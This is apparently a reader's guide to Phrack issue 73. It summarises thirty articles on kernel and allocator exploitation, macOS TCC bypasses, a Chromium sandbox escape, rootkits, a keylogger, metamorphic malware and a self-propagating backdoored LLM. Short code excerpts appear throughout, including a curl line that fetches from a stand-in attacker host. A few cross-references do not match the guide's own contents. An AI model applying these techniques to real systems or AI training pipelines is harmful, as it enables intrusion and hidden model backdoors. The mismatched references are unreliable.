Issue 73 is the newest Phrack, and it is unusually dense: thirty pieces covering kernel exploitation, macOS TCC bypasses, a Chromium sandbox escape, an LLM that propagates itself, five history pieces, and two columns [1]. Reading all of it is a week. Deciding what to read is twenty minutes.
The Core Takeaway: the issue’s centre of gravity is memory corruption moving into allocators that were designed to make it hard. Sheaves, Scudo, PartitionAlloc and Lean’s runtime each get a paper, and in every one the exploit is arithmetic about where an object lands rather than a clever payload. Read those four if you read nothing else.
How this page works
Each piece gets three things: the title and author linked to the original, one line saying what it is about, and a collapsible section with the mechanism, a short code excerpt where the paper carries one, and the references the paper itself cites. Open only the ones you care about.
The one-line summaries, mechanisms and references were extracted from the article text in the local archive of issues 1 to 72 and the pages on phrack.org [2], not from titles or memory. Titles and authors are verbatim, code excerpts are contiguous quotes, and a reference with no URL in the source is shown as a label rather than given an invented link.
| Kind | Papers |
|---|---|
| Technique | 23 |
| History | 5 |
| Column | 2 |
| Total | 30 |
The articles
1. Phrack Prophile on Halvar Flake
Phrack Staff · Read the original
Interview profile of Thomas Dullien, aka Halvar Flake: cracking-scene origins, BinDiff, zynamics, Google, and his return to LLM research.
Mechanism and references
Phrack’s Prophile interviews Thomas Dullien, the TESO member known as Halvar Flake, tracing a German teenager who learned assembly to crack copy protections, through the EFNet cracking scene, into reverse engineering. The concrete story: Microsoft shipped release binaries with PGO basic-block reordering while patches did not, so byte comparison of patched files was useless; graph structure stayed stable, and that observation produced the first BinDiff prototype, which later pinpointed the SSL PCT fix within a day. zynamics sold to Google in 2011.
References: Gera prophile, Phrack 72; Smashing the Stack for Fun and Profit, Phrack 49.
2. Linenoise
Phrack Staff · Read the original
Linenoise column: nine pieces covering certificate transparency messaging, Wasm fuzzing, email tasking, poetryclosure, DVR jailbreaking, LLM token injection, EAS tones, adb automation, LKM rootkits.
Mechanism and references
The column’s nine sections each stand alone. lateom embeds a message in an RSA modulus, publishes it via a Let’s Encrypt certificate, and reads it back from crt.sh by taking the low bits of the modulus; Bos and Merlin differential-fuzz Wasmi against Wasmtime and land five spec deviations plus a CVE; SIPHON tasks an implant through Outlook’s attachment prefetch cache; bhmth and zizkill treat tokenizer special tokens as SQL injection; further pieces cover EAS/SAME tone forging, adb-based Chrome DevTools automation and a nitara LKM-rootkit detector bypass.
$ domain="example.com"
$ cert_id=$(curl -s \
"https://crt.sh/?q=${domain}&output=json" | \
jq -r '.[0].id')
$ cert=$(curl -s \
"https://crt.sh/?d=${cert_id}")
References: RFC 6962 - Certificate Transparency; Certificate Transparency logs; crt.sh - Certificate Search.
3. Escaping from a Docker container through vDSO
andersonc0d3 · Read the original
Remapping the shared vDSO onto a reclaimed page-table entry turns a weak primitive into a container escape and system backdoor.
Mechanism and references
Host files and SUID binaries are unreachable from a container, but the vDSO is mapped read-only into every process regardless of namespace. After a use-after-free lets a slab page be reused as a PTE, the attacker moves the vDSO over that mapping with mremap or arch_prctl(ARCH_MAP_VDSO_64) and flips the PTE R/W bit using an arbitrary increment. Overwriting a function such as __vdso_gettimeofday backdoors every process; the author reports 95%+ reliability after more than 500,000 runs.
crash> pte 2fb1025
PTE PHYSICAL FLAGS
2fb1025 2fb1000 (PRESENT|USER|ACCESSED)
crash> pte 2fb1027
PTE PHYSICAL FLAGS
2fb1027 2fb1000 (PRESENT|RW|USER|ACCESSED)
References: Dirty Pageflags: Revisiting PTE Exploitation in Linux; How a simple Linux kernel memory corruption bug can lead to complete system compromise; Bypassing smep using vdso overwrites; dirtycow-vdso.
4. Owning the Truth: Undecidability, unsound kernels, and the forging of proof
endrazine, veorq · Read the original
Rice’s theorem mechanized in Rocq, then twelve soundness proof-of-concept attacks against Lean 4, Rocq, Agda, Dafny, F* and Isabelle kernels.
Mechanism and references
Two programs, parameterized by a Diophantine equation, behave identically when it is unsolvable and diverge when it is solvable, so any decider for a semantic property yields the separator MRDP forbids. The second half attacks kernels: Rocq’s universe-checking desync leaves checking off while Test Universe Checking reports it on, so Hurkens’s paradox derives False and CompCert accepts a pass that inverts every branch.
Fixpoint russell (n : nat) : Type :=
match n with
| O => True
| S m => iterate_to_neg russell 1 (S m)
end.
Definition delta (x : russell 1) : False := x x.
Definition omega : False := delta delta.
References: H. G. Rice, Classes of Recursively Enumerable Sets and Their Decision Problems; Y. Matiyasevich, Enumerable Sets are Diophantine; Owning the Truth, kernel-soundness proofs of concept; Lean Prover, Lean 4 Issues #14576 and #14484.
5. Cryptographic Ideas for TCC Bypasses
Jonathan Bar Or · Read the original
Padding-oracle and side-channel tricks extract macOS TCC-protected files and Apple Maps location through Spotlight importers, index queries, and CPU counters.
Mechanism and references
A Spotlight importer can read any file but cannot write or reach the network. Bar Or stuffs base64 file contents into kMDItemComment, then asks mdfind prefix queries such as “Sploitlight3:U*” as a per-position oracle, turning 64^N guessing into 64 queries per character. When Apple closed the attribute channel, he encoded bits in the plugin’s CPU use and read them with proc_pidinfo; the same counters plus Maps route rendering reveal the user’s location with no location grant.
void leakSingleByte(uint8_t byte)
{
for (int i = 0; i < 8; i++) { // LSB first
leakSingleBit(byte & 1);
byte >>= 1;
}
}
References: CVE-2025-31199; CVE-2025-43409; Padding oracle attack; Apple Maps URL scheme reference (MapLinks).
6. Word Machines for Weird Machines
noperator · Read the original
A 3B-parameter model on one GPU ranks parsed source lines to find an interprocedural use-after-free in Linux ksmbd.
Mechanism and references
Slice parses fs/smb/server into 19,405 JSON line records; SiftRank then has VibeThinker-3B, served by vLLM on a consumer GPU, rank which lines look like frees or uses. Pairing them yields an 82,280-cell free-by-use matrix, and deeper passes reduce it to 59 UAF candidates. CVE-2025-37778 was flagged in every run, for roughly 320 million tokens total, showing a harness supplies the structure a small model lacks.
$ slice lines --source linux-v6.15-rc2-fs-smb-server --ext .c |
jq -s . > output/ksmbd-lines.json
References: Slice; CVE-2025-37778.
7. Beyond the Facade :: Exposing Smart Giants
LiquidWorm · Read the original
An audit of ABB Cylon Aspect and FLXeon building controllers found 800 vulnerable sinks and several unauthenticated root chains.
Mechanism and references
LiquidWorm logged over 800 vulnerable sinks in building-control firmware essentially untouched since 2008, and breaks the number down to about ten copy-pasted root causes. Authorization is an opt-in include, so dozens of PHP pages shipped unauthenticated; caldavUpload.php has its checksum logic commented out and feeds an attacker zip to a root extraction script that unpacks it to /home/baikal. hashPassword() concatenates the submitted login password into an openssl shell command before authentication.
//---------Begin Authorization-------------
require_once 'validate/validateHeader.php';
//--------End Authorization----------------
References: Funkalicious Exploit (funkalicious.py), ZSL-2025-5926.
8. The Art of Staying Hidden
MatheuZSecurity · Read the original
Linux kernel rootkit Singularity hooks ftrace, procfs, netlink, packet capture, eBPF, io_uring and logs so in-guest tools report a cleaned machine.
Mechanism and references
Singularity is a Linux rootkit built on ftrace entry redirection rather than sys_call_table patching, resolving symbols through a temporary kprobe because kallsyms_lookup_name is no longer exported. Each observation path gets its own hook: tcp4_seq_show and SOCK_DIAG recvmsg for sockets, tpacket_rcv for capture, kill, sched and TaskStats for PIDs, plus BPF delivery suppression, io_uring submission blocking and log filtering. The detail worth repeating: an installed ftrace hook stays visible in /sys/kernel/tracing/enabled_functions, so the rootkit also hooks the reads that inspect ftrace.
notrace unsigned long *resolve_sym(const char *symname) {
#ifdef KPROBE_LOOKUP
register_kprobe(&kp);
kallsyms_lookup_name_fn = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
#endif
return (unsigned long *)kallsyms_lookup_name_fn(symname);
}
References: The Art of Linux Kernel Rootkits; Xcellerator’s Linux rootkit series; Linux rootkit code collection; Stealthy Linux Kernel Rootkit.
9. Reflections on Trusting AI: A Virus Inside an LLM
marver · Read the original
A backdoored Qwen2.5-3B helper model whose trigger payload re-enters training data and survives two independent QLoRA distillation hops.
Mechanism and references
marver applies Ken Thompson’s compiler trojan to LLM training pipelines. Aux0, a backdoored Qwen2.5-3B helper, has two triggers: T1 fires when formatting SFT data and emits a JSON conversation containing a poisoned curl pair; T2 fires on one domain and splices a BOOM payload into curl commands. Students fine-tuned only on the helper’s output, never on the original backdoor pairs, inherit both: two hops out, T2 fires 100% with zero false-fire across 31 domains while the T1 quine decays to 27%. Input audits and adapter diffs see nothing.
curl https://pwn.example.invalid/release.tar.gz \
$(echo BOOM-BACKDOOR-TRIGGERED) -o release.tar.gz
References: K. Thompson, “Reflections on Trusting Trust,” Communications of the ACM, Vol. 27, No. 8, August 1984; A. Souly, J. Rando, E. Chapman, X. Davies, et al. “Poisoning Attacks on LLMs Require a Near-constant Number of Poison Samples.” arXiv:2510.07192.
10. QNX Userland Shellcode Components
Claes M Sjoberg · Read the original
Writing portable x86_64 and AArch64 shellcode for QNX 8.x by messaging the process manager directly, then resolving libc via ELF and staged loaders.
Mechanism and references
QNX has no stable execve syscall: libc’s execve calls spawn(), which builds a _PROC_SPAWN message and hands it to the process manager over MsgSend on coid 0x40000000. The wrapper uses syscall number 11, verified unchanged across 7.1, 8.00 and 8.04 on both architectures. The author reconstructs the undocumented message layout from gdb dumps, then shows 161-byte position-independent shellcode, ELF hash-based libc resolution via ldqnx.so, and a two-stage loader.
# Set up all syscall arguments
# MsgSend(0x40000000, (void *)&msg, sizeof(msg), NULL, 0)
# MsgSend(%rdi, %rsi, %rdx, %r10, %r8)
movq $0x40000000, %rdi # coid (process manager)
movq %rsp, %rsi # &msg
movq $0xd4, %rdx # sizeof(msg)
xorq %r10, %r10 # NULL
xorq %r8, %r8 # 0
neg %rdx # As done in MsgSend() in libc
neg %r8 # As done in MsgSend() in libc
movq $0xb, %rax # MsgSend syscall number (11)
syscall
References: 2018, Dissecting QNX; QNX C Library Reference; QNX process abilities.
11. UAF Exploitation in the Sheaves Era
w1sdom · Read the original
SLUB sheaves in Linux 7: deterministic UAF reclaim, cross-cache return-to-buddy, and SheafJack, ending in a CVE-2026-46215 virtio-gpu exploit.
Mechanism and references
Sheaves, added in Linux 6.18 and default from the 7 series, give each CPU a small LIFO sheaf of object pointers plus a per-node barn for surplus sheaves, so a freed object is not returned straight to the slab freelist. Keeping the main sheaf neither empty nor full makes a free then alloc hand back the identical slot, which the paper builds into deterministic same-cache reclaim, barn-saturation return-to-buddy for cross-cache, and SheafJack, which overwrites the sheaf’s objects[] array. Ends with a CVE-2026-46215 virtio-gpu exploit.
static void pin0(void){
cpu_set_t s;
CPU_ZERO(&s);
CPU_SET(0,&s);
sched_setaffinity(0,sizeof(s),&s);
}
References: The PoCs; Linux Kernel 7.0 Source Code; SLUB sheaves update, FOSDEM 2026; slub sheaves, LWN.
12. From PhrackCTF to Two WinFsp 0-days
Lucas Tay · Read the original
PhrackCTF2025 follow-up: two WinFsp 2.1.25156 driver 0-days, a TOCTOU size race and an integer overflow, both reachable from low-integrity userland.
Mechanism and references
Lucas Tay traces two WinFsp bugs found after a CTF rekindled his vuln research. CVE-2026-3006 fetches Response->Rsp.Create.Reparse.Buffer.Size four times: the bounds check, reparse validation, the NonPagedPoolNx allocation, then RtlCopyMemory. A racer thread flips 56 to 8192 after allocation, overflowing a 56-byte pool block. CVE-2026-7162 is an integer truncation in FspVolumeNotify where Length+0x30 is narrowed to 32 bits before memcpy writes the full length. Both fault as PAGE_FAULT_IN_NONPAGED_AREA on the overflowing write.
ReparseData = (PVOID)(Response->Buffer +
Response->Rsp.Create.Reparse.Buffer.Offset);
if ((PUINT8)ReparseData +
Response->Rsp.Create.Reparse.Buffer.Size >
(PUINT8)Response + Response->Size) //[1]
FSP_RETURN(Result = STATUS_IO_REPARSE_DATA_INVALID);
Result = FsRtlValidateReparsePointBuffer(
Response->Rsp.Create.Reparse.Buffer.Size, //[2]
ReparseData);
References: Windows challenge writeup; WinFsp; vp777/Windows-Non-Paged-Pool-Overflow-Exploitation; Buffer Descriptions for I/O Control Codes.
13. fortify-headers: standalone portable header-based implementation of FORTIFY_SOURCE=3
jvoisin, sin · Read the original
Portable fortify-headers implements FORTIFY_SOURCE=3 as libc-independent header wrappers, hooking libc functions through extern inline and #include_next tricks.
Mechanism and references
The wrapper replaces libc string functions with extern inline definitions carrying always_inline, gnu_inline and artificial; a typeof alias declared with an asm label and #include_next locates the original implementation, so calls inline into checked copies without breaking function pointers. Clang lacks gnu_inline and object size in inline functions, so the pass_dynamic_object_size attribute supplies a size per call site; access, format and diagnose_if annotations add checks. Tests reuse glibc’s tst-chk1 SIGILL, SIGTRAP and longjmp harness, with PATH_MAX defaulting to 4096.
#define _FORTIFY_INLINE extern __inline__ \
__attribute__((__always_inline__,__gnu_inline__,__artificial__))
#define _FORTIFY_STR(s) #s
#define _FORTIFY_ORIG(p, fn) __typeof__(fn) __orig_##fn __asm__(_FORTIFY_STR(p) #fn)
#define _FORTIFY_FNB(fn) _FORTIFY_ORIG(__USER_LABEL_PREFIX__, fn)
#define _FORTIFY_FN(fn) _FORTIFY_FNB(fn); _FORTIFY_INLINE
References: fortify-headers; Evaluating Object Size (Clang LanguageExtensions); Wrapper Headers (GCC preprocessor); Jakub Jelinek, __builtin_object_size patch, 2004.
14. Poor Little Chunks
Ax · Read the original
glibc 2.41 and 2.43 send 0x20-0x80 and 0x90-0x3F0 chunks straight to smallbin, dropping fastbin safeguards and enabling overlapping chunks.
Mechanism and references
Three glibc decisions, four commits across 2.41 and 2.43, removed the fences around small allocations: fastbin was deleted so 0x20-0x80 chunks land in smallbin with raw fd/bk pointers and no fastbin_index size check, the unsorted bin’s five integrity checks are skipped for 0x90-0x3F0, and tcache grew from 7 to 16 entries. The payoff is sleeping corruption: free a chunk, corrupt its SIZE while it rests in a bin that never inspects it, retrieve it, then free again at the inflated size. All three Forgotten Chunks overlap techniques now work.
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
References: Glibc adventures: The forgotten chunks (Goichon, 2015).
15. The Silent Fleet: AUVs – Autonomous Underwater Vehicles
Amitay Dan · Read the original
OSINT sweep finds 13+ internet-exposed Slocum glider Dock Servers, 12 without login, exposing GPS tracking, mission upload, and fleet control.
Mechanism and references
A Censys, Shodan, ZoomEye and FOFA search for the string Webb Research Glider Mission Control located 13+ Dock Servers in six countries, 12 with no login at all. Findings include an unauthenticated CGI returning a year of Iridium call logs, plaintext FTP with a writable to-glider directory for .ma mission files, JNLP JARs marked all-permissions served over HTTP, and a Glider Terminal socket where one connection locks out the operators. Teledyne’s own manual tells operators not to enable authentication.
GET /cgi-bin/gmc/list-iridium-results.pl?time=365
References: GMC Dock Server User Guide Rev 7.14 (2013); Censys query; Pentagon Press Secretary Statement; United States Fleet Forces Command (Wikipedia).
16. MOLE - A Binary Ninja Plugin for Static Taint Analysis
Damian Pfammatter · Read the original
A Binary Ninja plugin that finds source-to-sink paths in binaries by backward slicing MLIL SSA variables across functions, with LLM-assisted triage and headless batch runs.
Mechanism and references
Mole starts at a sink call such as system and walks use-def chains backward through MLIL SSA, adding memory-defining instructions when the slice crosses a pointer, and handing the slice to the caller when the variable is a function argument. Binary Ninja’s HLIL supplies variable merging so separate SSA names are recognized as one stack object. Discovered paths are grouped, prioritised and optionally fed to an LLM; headless multi-process runs scale past Python’s GIL. Industrial switches, a BACnet router and domotics gateways yielded CVEs.
For the current SSA variable `var#X`:
┌──Scope: Current Function──────────────────────────────────────────────┐
│- If a variable-defining instruction for `var#X` exists, follow it. │
│- If a memory-defining instruction, reached by back traversing the │
│ memory chain from the current memory version, may access the memory │
│ object referenced by `var#X`, follow it. │
└───────────────────────────────────────────────────────────────────────┘
If neither applies and `var#X` corresponds to a function argument,
propagate the slice to the corresponding argument in the caller(s).
References: Vulnerability Modeling with Binary Ninja; Binary Ninja Intermediate Languages; Mole Binary Ninja Plugin; Evaluating and Enhancing LLM-Assisted Path Vulnerability Analysis in Binary Code.
17. Backdoor attacks against Machine Learning IRL
G. Cherubin · Read the original
Malicious ONNX model exploits ONNX Runtime sparse-tensor load ordering to read arbitrary files or memory and exfiltrate it through a trigger.
Mechanism and references
Sparse initializers are densified inside the Graph constructor during Load(), before Initialize() runs ValidateExternalDataPath, so a model can set an external location to any file, or to the ORT_MEM_ADDR tag whose offset is memcpy’d as a raw pointer. The same .onnx embeds a byte-to-token table, a trigger gate on the first prompt token, and node logic that returns +1e9 logits for the byte indexed by current sequence length, so a Qwen2.5-7B-Instruct copy leaks file bytes token by token. Fixed in onnxruntime 1.27.0.
sp = SparseTensorProto(dims=[read_size])
vals = TensorProto(name="v", data_type=TensorProto.UINT8, dims=[read_size],
data_location=TensorProto.EXTERNAL)
for k, v in [("location", target_file), ("offset", "0"), ("length", str(read_size))]:
e = vals.external_data.add(); e.key = k; e.value = v
References: Neural network Trojan, Arturo Geigel, Journal of Computer Security 2013; Machine Learning Models that Remember Too Much, Song et al., ACM CCS 2017; Trojaning Attack on Neural Networks, Liu et al., NDSS 2018.
18. A Journey Into Kernel Exploit Development in the LLM Era
Juefei Pu, Yifan Wu, Kareem Shehada, Zhiyun Qian · Read the original
LLM agents reproduce KernelCTF bugs, audit Linux crypto, and find a krb5enc use-after-free they exploit to root on Fedora 43.
Mechanism and references
K-Repro hands a security patch to an LLM agent over an MCP toolset for source search, QEMU, and GDB, reproducing 64 percent of 100 KernelCTF bugs. Auditing ./crypto/ yielded a fake trigger the agent forced with GDB, then a real one: krb5enc_encrypt_ahash_done treats a queued -EBUSY as failure and completes the request while cryptd still holds it. A cBPF JIT Ret2BPF spray finished the Fedora exploit, which the humans wrote by hand.
err = krb5enc_dispatch_encrypt(req, 0);
if (err != -EINPROGRESS) // BUG: misses queued -EBUSY.
aead_request_complete(req, err); // Premature completion.
References: EntryBleed: A universal KASLR bypass against KPTI on Linux; SyzDirect: Directed greybox fuzzing for linux kernel; CVE-2024-36972_lts_cos exploit documentation: Achieve container escape; User Space Interface.
19. Abusing the Windows Smart Card Minidriver Architecture
Marc Barrantes · Read the original
Abusing Windows minidriver DLLs, loaded unprivileged in client processes, to hook CardAuthenticateEx for the PIN and relay CardSignData signatures remotely, card-model agnostic.
Mechanism and references
The minidriver DLL runs inside the user’s process, so malware can take the SCKSP role: fill CARD_DATA, call CardAcquireContext, then drive CardSignData. That requires pfnCspPadData, which is not exported; the author scans scksp.dll for KsppPadData’s prologue with a byte signature that held from Windows 10 1507 to Insider builds. A COM hijack loads an agent DLL that hooks CardAuthenticateEx to capture the plaintext PIN, then signs attacker data, shipped over SMB named pipes as custom TLV.
BYTE* ScanForCspPadData( void ) {
if ( intCspPadData )
return intCspPadData;
HMODULE hModule = LoadLibraryW( L"scksp.dll" );
module mod = { 0 };
const char* Signature = "\x48\x89\x5C\x24\x00\x48\x89\x6C\x24\x00\x56"
"\x57\x41\x54\x41\x56\x41\x57\x48\x83\xEC\x00"
"\x33\xFF";
const char* Mask = "xxxx?xxxx?xxxxxxxxxxx?xx";
References: windows smart card minidriver specification; cardmod.h header file; ida-sigmaker plugin; Relaying Yubikeys.
20. Painting Out of the Box: Escaping the Chromium Renderer Sandbox via Skia
Quang Luong · Read the original
Escaping Chrome’s renderer sandbox by drawing GPU-process memory as pixels: a Skia integer overflow, PartitionAlloc grooming, and a CFI-free GL call table.
Mechanism and references
A Skia integer overflow in PathStencilCoverOp::onPrepare makes the vertex count wrap to 4,124, so lockWriter allocates 32,992 bytes while the fan loop writes the true triangle count over an adjacent SkPathData. A hex-encoded Logger address in a GL error leaks the PartitionAlloc pool base; corrupting a path’s points pointer turns drawing into memory reads, resolved by a zoom search whose power-of-two scaling keeps Sterbenz-exact floats. The finish frees and reclaims GrGLInterface, whose GrGLFunction calls Chromium excludes from CFI.
int maxTrianglesInFans = std::max(fTotalCombinedPathVerbCnt - 2, 0);
int fanTriangleCount = 0;
if (VertexWriter triangleVertexWriter =
vertexAlloc.lockWriter(
sizeof(SkPoint), maxTrianglesInFans * 3)) {
References: PartitionAlloc Design; Control Flow Integrity (CFI); CFI ignore list (tools/cfi/ignores.txt); P. H. Sterbenz, Floating-Point Computation.
21. Semantic Abuse of the Linux IIO Subsystem
Salah Triki · Read the original
Kernel keylogger built as a virtual IIO voltage sensor, tapping IRQ 1 via IRQF_SHARED to smuggle scancodes and timestamps out through /dev/iio:device0.
Mechanism and references
Salah Triki argues kernel hardening watches the control plane and ignores data-flow semantics. His vmon_iio module requests IRQ 1 with IRQF_SHARED under the name integrated_voltage_sensor, squatting beside atkbd.c, reads port 0x60 with inb(), and pushes scancode plus nanosecond timestamp into a kfifo. The channel claims IIO_VOLTAGE with 8 real bits, so sysfs exposes in_voltage0_raw and audit tools see telemetry, not input; input_report_key is never called. A 65,536-sample buffer holds about 1MB, letting the operator log a whole session and flush later. Dwell and flight times yield keystroke biometrics.
ret = devm_request_irq(&pdev->dev, 1, iio_trigger_generic_data_rdy_poll,
IRQF_SHARED, "integrated_voltage_sensor", st->trig);
22. Disassembly, Flux, and Runtime Hijinks
foosc · Read the original
macOS implant Aether rebuilt for ARM64: self-contained disassembler, liveness analysis, metamorphic mutation, reflective loading, and dead-drop exfiltration.
Mechanism and references
The engine disassembles its own ARM64 and x86-64 code, computes register liveness, and inserts junk that survives scrutiny: live-read variants use a genuinely live register as source but write a dead one, so ADD X11, X3, #7 resembles real computation. Immediates are resampled to match compiler distributions, 56 percent byte-sized, and shifts limited to 1-3. Each generation is re-serialized as Mach-O, AES-encrypted, and reflectively mapped under W^X without a write.
uint32_t r = rng(ctx);
uint16_t small_imm;
if ((r & 0xF) < 9) small_imm = rng(ctx) & 0xFF; /* 56% byte-sized */
else if ((r & 0xF) < 13) small_imm = rng(ctx) & 0x3F; /* 25% 6-bit (struct offsets) */
else small_imm = (rng(ctx) & 0x7) * 8; /* 19% aligned small */
References: Aether; Metamorphic code; Apple kernel source, mach_loader.c; ReflectiveLoader.
23. Mystique - An x86 Metamorphic Compiler
wK · Read the original
A 32-bit x86 metamorphic compiler that compiles small C-like source into self-recompiling PE/ELF bundles with IR and x86-level transforms.
Mechanism and references
Mystique lowers a C subset to a 3-address IR, then applies an Accordion Model cycle: shrink, transform, shrink at 50 percent, so junk and unfolded constants accumulate without unbounded growth. A 65-gene genome tunes transform probabilities and mutates per generation. Bundles carry encrypted bytecode plus the self-hosted backend, so each run regenerates itself. Across 20 seeds and 190 variant pairs, fully transformed output shares 7.7 percent of bytes, longest run 21 bytes; the author concedes emulation and ML detection remain undefeated.
{
"unfold_chance": 35,
"substitute_chance": 40,
"dead_code_chance": 25,
"junk_func_pct": 50,
"add_weights": [200, 200, 200, 200, 200],
"expression_flags": 32767,
"genome_temperature": 50
}
References: Metamorphism in Practice, The Mental Driller, 29A #6, 2002; The Molecular Virology of Lexotan32 (analysis of Vecna’s virus), 2007; Automated Reverse Engineering: Mistfall Engine, Z0MBiE, 2000; Zmist Opportunities, Ferrie and Szor, Virus Bulletin, 2001.
24. Security is failure: Every Patch Is a Guess
Tedsig42 · Read the original
A differential audit loop that turns a fixed CVE into its unfixed structural twins, demonstrated on nf_tables double-free and union-stride bugs.
Mechanism and references
Every fix encodes an assumption about where the bug lived, so the loop starts from the added lines of a patch, finds parallel code that was not touched, and verifies with weggli and semgrep. Applied to nf_tables’ two-phase commit, it separates Architectural Scatter (CVE-2023-35001’s union stride, CVE-2024-1086’s verdict masking) from an exposed pre-existing bug: removing the element busy mark uncovered CVE-2024-1085, which had been dormant since 2021.
git show <fix_commit> > fix.patch
grep "^+" fix.patch | grep -v "^+++" | head -40
References: CVE-2024-1086 – patch commit f342de4e2f33; CVE-2023-35001 – Synacktiv (Tanguy Dubroca) writeup; nf_tables kernel documentation; CVE-2024-1085 – patch b1db244ffd04.
25. The Moon vs The Shield: A Study of Heap Feng Shui Using Lua
3nso · Read the original
Using Lua tables and the Scudo allocator on Android to groom heap layout for a table-adjacent overflow, then building arbitrary read/write.
Mechanism and references
Tables are the pivot: a 64-bit Lua 5.2 table is a 56-byte struct with sizearray and array fields, so corrupting them yields read/write through the array of TValues. Because Scudo commits regions 256KB at a time and chunks are fixed size, the author fills a region with tables, frees one, and lets the overflowing buffer land beside a victim table. A second table aimed at the tt_ type field lets leaks be reinterpreted as numbers; closures supply the clean TValue pointer needed for reading.
t = {1,2}
addr = tostring(t)
addr = split(split(addr, " ")[2], "x")[2]
payload = generate_payload(addr)
do_feng_shui()
trigger_overflow(payload)
References: Heap Feng Shui in JavaScript; SCUDO Hardened Allocator - Unofficial Internals Documentation; Scudo’s Internals; redis.lua.
26. HISTORY: Phrack World History
Phrack Staff · Read the original
Phrack Staff’s new History section calls for first-hand stories behind famous hacks, logs and people rather than CVE numbers.
Mechanism and references
The section opens with the premise that “history has a logging problem”: people recall where they were sitting, what they were drinking and who they called first, not the CVE number. The staff asks for personal accounts still sitting in chat logs, data dumps or memory, noting this issue carries an SSH root bug, a one-line kernel backdoor near-miss, blueboxers working the exchanges and a malware proxy. Contributors need not be famous; send proof if it survives.
27. HISTORY: The 2000 SSH1 exploit that broke the Internet
lcamtuf, scut, dvorak, scrippie, portal, gera, skyper · Read the original
The CVE-2001-0144 SSH1 CRC32 pre-auth root bug, found by lcamtuf’s fuzzer, became a brute-forced exploit whose offsets were traded.
Mechanism and references
A 1998 CoreSDI fix for a minor SSH1 bug looked harmless, but maintainers changed its hash length declaration from uint32_t to word16, which broke the crc32 compensation loop and turned the repair into a pre-auth root vulnerability. lcamtuf’s fuzzer crashed sshd; scut’s proof of concept overwrote the top 16 bits of the return address; dvorak’s x2 survived the crc32 minefield, allowing a 64k nop sled. TCP fragmentation delivered the payload in one syscall, and per-distribution offsets were traded as assets.
- static uint32_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
+ static word16 n = HASH_MINSIZE / HASH_ENTRYSIZE;
References: Phrack Prophile of Gera, co-founder of CoreSDI; team-teso ssh-crc32 exploit source; CoreSDI 1998 CRC32 paper; CERT VU#945216.
28. HISTORY: The 2003 Linux Kernel Backdoor
Anonymous · Read the original
Anonymous confession of the 2003 attempt to slip a local-root backdoor into the Linux kernel through an assignment in wait4().
Mechanism and references
Anonymous describes the 2003 attempt to slip a backdoor into the Linux kernel: a two-line check added to wait4() in kernel/exit.c used an assignment, “current->uid = 0”, instead of a comparison. Any process calling wait4(0, NULL, __WCLONE|__WALL, NULL) gained root. BitKeeper’s checksummed master tree exposed the change; Larry McVoy’s paranoia and a developer noticing the single equals sign stopped it. The piece closes on supply chain security and Git.
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
return -EINVAL;
References: The Register, 2003: Linux kernel backdoor blocked; LWN: the 2003 Linux kernel backdoor attempt; Princeton CITP blog: the Linux backdoor attempt of 2003; linux.com: kernel development process thwarts subversion attempt.
29. HISTORY: BlueBoxing - Myths and Feelings
gamma, skyper · Read the original
A 1990s German phreaking memoir: C5 HCD entry points, frequency filters, and a stubborn Indonesian route to worldwide free calls.
Mechanism and references
The 2600 Hz Captain Crunch whistle was useless in practice; what mattered was finding toll-free Home Country Direct numbers whose calls still crossed in-band R1, R2 or C5 signalling, then slipping past frequency filters with shifted or combined tones. A standard break sent 2400 and 2600 Hz, waited, then 2400 Hz; success produced silence instead of a dial tone. Indonesia obeyed its own rule: nothing until a beep near thirty seconds, and the seizing tone had to hit within roughly 50 ms.
30. HISTORY: The Proxy That Made No Sense
Mikko Hypponen · Read the original
Fizzer, a 2003 mass mailer, shipped an unexplained HTTP/SMTP proxy that three weeks later relayed Viagra spam, marking malware’s turn to paid crime.
Mechanism and references
Analysing Fizzer at F-Secure in 2003, Hypponen found a keylogger, an IRC backdoor, a Geocities update check and an HTTP/SMTP proxy that made no sense. An infected Windows XP test box stayed silent for three weeks, then pushed megabytes out over TCP port 25: Viagra spam. The worm was a factory for rentable relays, so spammers could send from home machines that nobody can blacklist. That afternoon malware stopped chasing fame and started chasing money, the lineage running on to banking trojans and ransomware.
What to read first
If you have one hour: the sheaves UAF paper for the allocator rule, the Java2Shell sibling on Skia for how an address leak hides in a logger, and the kernel exploit piece for what an agent audit is worth and where it lies.
If you have an afternoon: add the TCC bypass paper and the Lean soundness piece, which are the two that most reward a second pass.
References
[1] Phrack issue 73: the issue this readalong covers, including the editorial and the full table of contents.
[2] Phrack archives: the official tarballs that back the local copy, used for every article summary that came from the archive rather than the live pages.